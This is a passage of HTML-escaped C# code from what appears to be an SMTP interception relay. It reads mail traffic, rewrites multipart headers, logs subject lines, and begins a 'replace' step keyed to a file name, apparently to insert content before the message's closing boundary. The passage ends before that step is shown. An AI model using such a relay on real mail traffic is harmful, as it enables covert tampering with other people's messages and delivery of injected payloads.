&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkStream&amp;nbsp;nsc&amp;nbsp;=&amp;nbsp;obj[0]&amp;nbsp;as&amp;nbsp;NetworkStream;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkStream&amp;nbsp;nss&amp;nbsp;=&amp;nbsp;obj[1]&amp;nbsp;as&amp;nbsp;NetworkStream;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StreamWriter&amp;nbsp;sw&amp;nbsp;=&amp;nbsp;new&amp;nbsp;StreamWriter(nsc);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.AutoFlush&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StreamReader&amp;nbsp;sr&amp;nbsp;=&amp;nbsp;new&amp;nbsp;StreamReader(nss);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;state&amp;nbsp;stat&amp;nbsp;=&amp;nbsp;state.header;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;nbsp;boundary&amp;nbsp;=&amp;nbsp;&amp;quot;&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;nbsp;boundarye&amp;nbsp;=&amp;nbsp;&amp;quot;&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;nbsp;s&amp;nbsp;=&amp;nbsp;sr.ReadLine();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(s&amp;nbsp;!=&amp;nbsp;null)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch&amp;nbsp;(stat)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;state.header:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(boundarye&amp;nbsp;!=&amp;nbsp;&amp;quot;&amp;quot;&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;s&amp;nbsp;==&amp;nbsp;&amp;quot;&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stat&amp;nbsp;=&amp;nbsp;state.replace;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if&amp;nbsp;(s.StartsWith(&amp;quot;Content-Type&amp;quot;)&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;s.IndexOf(&amp;quot;multipart/&amp;quot;)&amp;nbsp;&amp;gt;&amp;nbsp;0)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(s.IndexOf(&amp;quot;multipart/alternative&amp;quot;)&amp;nbsp;&amp;gt;&amp;nbsp;0)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s&amp;nbsp;=&amp;nbsp;s.Replace(&amp;quot;multipart/alternative&amp;quot;,&amp;nbsp;&amp;quot;multipart/relative&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(s.IndexOf(&amp;quot;boundary=&amp;quot;)&amp;nbsp;&amp;lt;&amp;nbsp;0)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(s);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s&amp;nbsp;=&amp;nbsp;sr.ReadLine();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var&amp;nbsp;arr&amp;nbsp;=&amp;nbsp;s.Split(new&amp;nbsp;string[]&amp;nbsp;{&amp;nbsp;&amp;quot;boundary=&amp;quot;&amp;nbsp;},&amp;nbsp;2,&amp;nbsp;StringSplitOptions.RemoveEmptyEntries);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(arr.Length&amp;nbsp;==&amp;nbsp;2)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;boundary&amp;nbsp;=&amp;nbsp;&amp;quot;--&amp;quot;&amp;nbsp;+&amp;nbsp;arr[1].Trim(&amp;#39;&amp;nbsp;&amp;#39;,&amp;nbsp;&amp;#39;\t&amp;#39;,&amp;nbsp;&amp;#39;\&amp;#39;&amp;#39;,&amp;nbsp;&amp;#39;&amp;quot;&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;boundarye&amp;nbsp;=&amp;nbsp;boundary&amp;nbsp;+&amp;nbsp;&amp;quot;--&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stat&amp;nbsp;=&amp;nbsp;state.replace;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if&amp;nbsp;(s.StartsWith(&amp;quot;Subject&amp;quot;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(&amp;quot;[+]&amp;nbsp;&amp;quot;&amp;nbsp;+&amp;nbsp;s);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(s);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;state.replace:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(s&amp;nbsp;==&amp;nbsp;boundarye&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;fn&amp;nbsp;!=&amp;nbsp;&amp;quot;&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
